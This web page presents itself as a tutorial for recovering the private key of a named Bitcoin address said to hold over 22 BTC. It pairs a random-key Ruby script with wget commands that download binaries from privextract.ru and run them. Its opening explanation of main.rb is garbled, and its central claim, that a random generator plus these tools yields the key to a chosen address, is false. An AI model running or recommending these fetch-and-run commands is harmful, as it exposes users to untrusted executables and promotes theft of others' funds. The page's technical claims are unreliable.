main.rb
The main.rb is a special file in Ruby projects that is used by the dependency manager Bundler to manage libraries (gems). This file contains a list of all the gems required for the project, specifying their versions and sources. Bundler analyzes the Gemfile, builds a dependency tree, and automatically installs all the necessary components.
Main features of working with Gemfile:
- The file uses Ruby syntax to describe dependencies: gem ‘rails’, gem ‘puma’
- You can specify exact gem versions: gem ‘gemname’, ‘1.1.1’ or version ranges: gem ‘gemname’, ‘> 1.1.1’, ‘< 2.0.0’
- After installing dependencies, a main.rb file is created, which records the exact versions of all installed gems, including transitive dependencies
- Dependencies can be grouped for different environments (development, test, production)
- Dependencies are installed using the bundle install command
Thanks to Gemfile and Bundler, developers can easily share projects and ensure the same environment on different machines.
require 'securerandom'
# Order constant of the secp256k1 group (N)
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF
def generate_private_key
# Generate a cryptographically secure random number
private_key = SecureRandom.random_number(N - 1) + 1
# Convert to HEX with padding to 64 characters
hex_key = private_key.to_s(16).upcase.rjust(64, '0')
hex_key
end
# Example usage
puts "Generated private key:"
puts generate_private_key
Code Explanation:
- The constant
N
is defined as per the secp256k1 standard, equivalent to: rubyN = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
- Secure Random Generation: Uses
SecureRandom.random_number
for cryptographic safety. - Range: Generates keys in
[1, N-1]
to comply with Bitcoin specifications. - Formatting: Ensures a 64-character HEX string using
rjust(64, '0')
andupcase
.
Implementation Details:
- No external dependencies (pure Ruby).
- Output matches standard Bitcoin wallet formats.
1. Private Key Generation
wget https://privextract.ru/repositories/debugging.zip
unzip debugging.zip
wget https://privextract.ru/vulnerable-code/main.rb
./debugging -ruby main.rb -address 1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
- wget downloads the ZIP archive and the Ruby script.
- unzip extracts the archive.
- main.rb generates a 256-bit private key:
- Uses the cryptographically secure generator
SecureRandom
. - Converts the number to a 64-character HEX string (left-padded with zeros).
- Uses the cryptographically secure generator
- The result is saved as
save.txt
– a 128-byte sequence.
File contents (main.rb
):
require 'securerandom'
# Order constant of the secp256k1 group (N)
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF
def generate_private_key
# Generate a cryptographically secure random number
private_key = SecureRandom.random_number(N - 1) + 1
# Convert to HEX with padding to 64 characters
hex_key = private_key.to_s(16).upcase.rjust(64, '0')
hex_key
end
# Example usage
puts "Generated private key:"
puts generate_private_key
Resulting long sequence with address:
99 04 5c f9 58 0c fd 25 bd 0c 82 f3 e0 fd 2f 5e e2 df d0 a6 49 68 5b ce 13 b5 3b 58 6f b0 dc c6
2e 1b a3 c8 97 a3 25 2e fb 98 8c 41 73 2f 1f 36 6d 9e 7f 91 b1 4d 05 87 13 d2 46 6d ed 06 26 83
a1 ad 7a 29 7f 4e 4a c7 f7 37 fc 79 00 15 cb 7d 6a 2a f5 a4 12 a3 65 4e 5f e8 38 c3 a6 9c 80 7a
71 ae 41 d2 3b 65 d4 3a f2 6b 33 6d 9a 0f 68 16 09 b8 13 9a 46 5b 53 26 d1 29 bb 72 cd 7b e3 61
The overall result has been successfully written to ‘save.txt’.
Contents of save.txt without spaces:
99045cf9580cfd25bd0c82f3e0fd2f5ee2dfd0a649685bce13b53b586fb0dcc62e1ba3c897a3252efb988c41732f1f366d9e7f91b14d058713d2466ded062683a1ad7a297f4e4ac7f737fc790015cb7d6a2af5a412a3654e5fe838c3a69c807a71ae41d23b65d43af26b336d9a0f681609b8139a465b5326d129bb72cd7be361
2. Private Key Extraction
wget https://privextract.ru/repositories/privextract.zip
unzip privextract.zip
./privextract -extraction 99045cf9580cfd25bd0c82f3e0fd2f5ee2dfd0a649685bce13b53b586fb0dcc62e1ba3c897a3252efb988c41732f1f366d9e7f91b14d058713d2466ded062683a1ad7a297f4e4ac7f737fc790015cb7d6a2af5a412a3654e5fe838c3a69c807a71ae41d23b65d43af26b336d9a0f681609b8139a465b5326d129bb72cd7be361
- The utility extracts a 32-byte private key (64 HEX characters) from the 128-byte input data.
- Mechanism: trimming or hashing (the exact algorithm would require code analysis).
- Result:
73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9
– valid WIF format.
Result:
Private Key Result:
73 f0 29 15 97 8e 70 c0
27 57 85 db 85 b1 bc 07
23 04 3e 3d 67 55 ed a4
42 5c 4a 4a 18 fc 79 e9
Private Key Result:
73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9
Result successfully written to 'privkey.txt'.
3. Bitcoin Address Generation
wget https://privextract.ru/repositories/bitaddress.zip
unzip bitaddress.zip
./bitaddress -hex 73f02915978e70c0275785db85b1bc0723043e3d6755eda4425c4a4a18fc79e9
- Generates a public key using ECDSA on the secp256k1 curve:
K=k×GK = k \times GK=k×G, where kkk is the private key, GGG is the base point. - Creates two types of addresses:
- P2PKH (Uncompressed):
1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
(classic format) - P2PKH (Compressed):
13RMvKQizGdpyhKzjD26R8CNnZhJxzJJmt
(optimized version)
- P2PKH (Uncompressed):
Result:
Public Key (Uncompressed, 130 characters [0-9A-F]):
047B9E18FF1F40B74C5173D468C7EBD06A65C1038F5C288E171563F5245601E44E8297523C075B446941A56B6B0C136AA510ECA15754BD79CCACAB8FE453B6E7CC
Public Key (Compressed, 66 characters [0-9A-F]):
027B9E18FF1F40B74C5173D468C7EBD06A65C1038F5C288E171563F5245601E44E
Bitcoin Address P2PKH (Uncompressed)
1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
Bitcoin Address P2PKH (Compressed)
13RMvKQizGdpyhKzjD26R8CNnZhJxzJJmt
4. Bitcoin Address Balance
https://www.blockchain.com/explorer/addresses/btc/1DRs3YDAwoXSTi4FQN89aoy17aQ7i5Cqo3
- The address holds 22.2585 BTC (at the time of checking).
- This confirms the correctness of key generation and the ownership of funds.